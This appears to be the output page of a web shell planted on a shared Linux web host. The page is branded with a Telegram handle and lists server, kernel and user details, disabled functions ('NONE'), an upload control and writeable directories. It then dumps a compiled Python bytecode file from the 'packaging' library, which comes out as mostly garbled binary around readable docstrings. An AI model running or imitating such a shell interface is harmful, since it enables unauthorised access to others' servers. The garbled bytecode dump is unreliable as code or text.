https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/packaging/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/packaging/__pycache__/_musllinux.cpython-310.pyc
o

{ۓa�	@s~dZddlZddlZddlZddlZddlZddlZddlZddlZddl	m
Z
mZmZm
Z
mZde
ededeedffdd	�Zde
ede
efd
d�ZGdd
�d
e�Zdede
efdd�Ze��dede
efdd��Zdedeefdd�Zedkr�ddlZe��Ze�d�s�Jd��ede�edeej��eddd�ee� dd e�!d!d"�d#��D]
Z"ee"d$d�q�dSdS)%z�PEP 656 support.

This module implements logic to detect if the currently running Python is
linked against musl, and what musl version is used.
�N)�IO�Iterator�
NamedTuple�Optional�Tuple�f�fmt�return.cCst�||�t�|���S�N)�struct�unpack�read�calcsize)rr�r�6/usr/lib/python3/dist-packages/packaging/_musllinux.py�_read_unpackedsrc	Csb|�d�zt|d�}WntjyYdSw|dd�td�kr$dS|�t�d�d�zdd	d
�|d\}}}Wn
tyEYdSwtj|�}zt||�\}}}}}}}	WntjydYdSwt	|	d�D]C}
|�|||
�z|t||��\}}}
Wntjy�YdSw|dkr�qk|�|�t
�|�|
���
d�}d
|vr�dS|SdS)z�Detect musl libc location by parsing the Python executable.

    Based on: https://gist.github.com/lyssdod/f51579ae8d93c8657a5564aefc2ffbca
    ELF header: https://refspecs.linuxfoundation.org/elf/gabi4+/ch4.eheader.html
    r�16BN�sELF�HHI�)�IIIIHHH�IIIIIIII)rrr)�QQQIHHH�IIQQQQQQ)r��)rr���musl)�seekrr�error�tupler�KeyError�operator�
itemgetter�range�os�fsdecoder
�strip)r�ident�e_fmt�p_fmt�p_idx�p_get�_�e_phoff�e_phentsize�e_phnum�i�p_type�p_offset�p_filesz�interpreterrrr�_parse_ld_musl_from_elfsN
����
��
r7c@seZdZUeed<eed<dS)�_MuslVersion�major�minorN)�__name__�
__module__�__qualname__�int�__annotations__rrrrr8Gs
r8�outputcCsxdd�dd�|��D�D�}t|�dks|ddd�dkr dSt�d	|d
�}|s,dStt|�d
��t|�d��d�S)NcSsg|]}|r|�qSrr��.0�nrrr�
<listcomp>Msz'_parse_musl_version.<locals>.<listcomp>css�|]}|��VqdSr
)r(rArrr�	<genexpr>Ms�z&_parse_musl_version.<locals>.<genexpr>rrrrzVersion (\d+)\.(\d+)r)r9r:)�
splitlines�len�re�matchr8r>�group)r@�lines�mrrr�_parse_musl_versionLs  rM�
executablec	Cs�t���'}z
|�t|d��}WntyYWd�dSwt|�}Wd�n1s.wY|s7dStj|gtjdd�}t	|j
�S)a`Detect currently-running musl runtime version.

    This is done by checking the specified executable's dynamic linking
    information, and invoking the loader to parse its output for a version
    string. If the loader is musl, the output would be something like::

        musl libc (x86_64)
        Version 1.2.2
        Dynamic Program Loader
    �rbNT)�stderr�universal_newlines)�
contextlib�	ExitStack�
enter_context�open�OSErrorr7�
subprocess�run�PIPErMrP)rN�stackr�ld�procrrr�_get_musl_versionVs
�
�
r]�archccsJ�ttj�}|durdSt|jdd�D]}d|j�d|�d|��VqdS)aTGenerate musllinux tags compatible to the current platform.

    :param arch: Should be the part of platform tag after the ``linux_``
        prefix, e.g. ``x86_64``. The ``linux_`` prefix is assumed as a
        prerequisite for the current platform to be musllinux-compatible.

    :returns: An iterator of compatible musllinux tags.
    N����
musllinux_r.)r]�sysrNr%r:r9)r^�sys_muslr:rrr�
platform_tagsns�
	�rc�__main__zlinux-z	not linuxzplat:zmusl:ztags:� )�endz[.-]r.�-rr_z
      )#�__doc__rR�	functoolsr#r&rHrrWra�typingrrrrr�bytes�strr>rr7r8rM�	lru_cacher]rcr;�	sysconfig�get_platform�plat�
startswith�printrN�sub�split�trrrr�<module>s8"1

"�	

https://t.me/RX1948 - 2025